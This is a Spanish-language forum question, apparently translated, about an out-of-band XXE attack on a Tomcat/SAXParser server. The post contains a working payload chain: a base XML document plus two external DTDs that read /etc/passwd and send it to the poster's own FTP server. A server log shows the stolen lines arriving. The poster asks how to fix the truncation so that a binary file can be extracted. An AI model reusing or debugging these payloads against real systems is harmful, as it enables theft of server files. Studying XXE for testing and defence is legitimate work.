Estoy intentando extraer datos binarios de un servidor Tomcat que usa SAXParser. Para mi servidor FTP, estoy usando esta fuente . Estoy hospedando dos DTD's en Github Gist. Estos son sus contenidos:
XML base (lo que se envía al servidor):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data SYSTEM "https://gist.githubusercontent.com/.../a.dtd">
<a>
<b>&send;</b>
</a>
a.dtd (primera carga útil de DTD):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "https://gist.githubusercontent.com/.../b.dtd">
%dtd;
b.dtd (carga útil final de DTD):
<!ENTITY % all "<!ENTITY send SYSTEM 'ftp://[my server ip]:2121/%file;'>">
%all;
La razón por la que estoy tratando de extraer / etc / passwd es porque estoy tratando de apuntar a un archivo binario, pero cuando eso no funcionó, pensé que empezaría con algo simple. He confirmado que tengo acceso a / etc / passwd (solo lo recuperé como una entidad originalmente).
El servidor FTP funciona bien y me aseguré de que el puerto estuviera abierto. Esta es la salida cuando se ejecuta lo anterior.
[WEB] Starting webserver on 0.0.0.0:8888...
[FTP] Starting FTP server on 0.0.0.0:2121...
[FTP] x has connected
[FTP] Received:
USER anonymous
[FTP] Received:
PASS Java1.8.0_131@
[FTP] > 230 more data please!
[FTP] Received:
TYPE I
[FTP] > 230 more data please!
[FTP] Received:
CWD root:x:0:0:root:
[FTP] > 230 more data please!
[FTP] Received:
CWD root:
[FTP] > 230 more data please!
[FTP] Received:
CWD bin
[FTP] > 230 more data please!
[FTP] Received:
QUIT
[FTP] > 230 more data please!
[FTP] Received:
... (a lot more blank like above)
[FTP] > 230 more data please!
[FTP] Received:
[FTP] > 230 more data please!
[FTP] Client error: [Errno 32] Broken pipe
[FTP] Connection closed with x
Un problema que encontré al responder a la pregunta de Luc es interesante. Básicamente, si los datos tienen barras diagonales, ¿el cliente FTP los interpreta como una carpeta? Aunque no estoy seguro de por qué se detiene. Tal vez tenga que escribir un mecanismo de respuesta adecuado para que, cuando llegue un comando CWD, le dé OK u otra respuesta relacionada.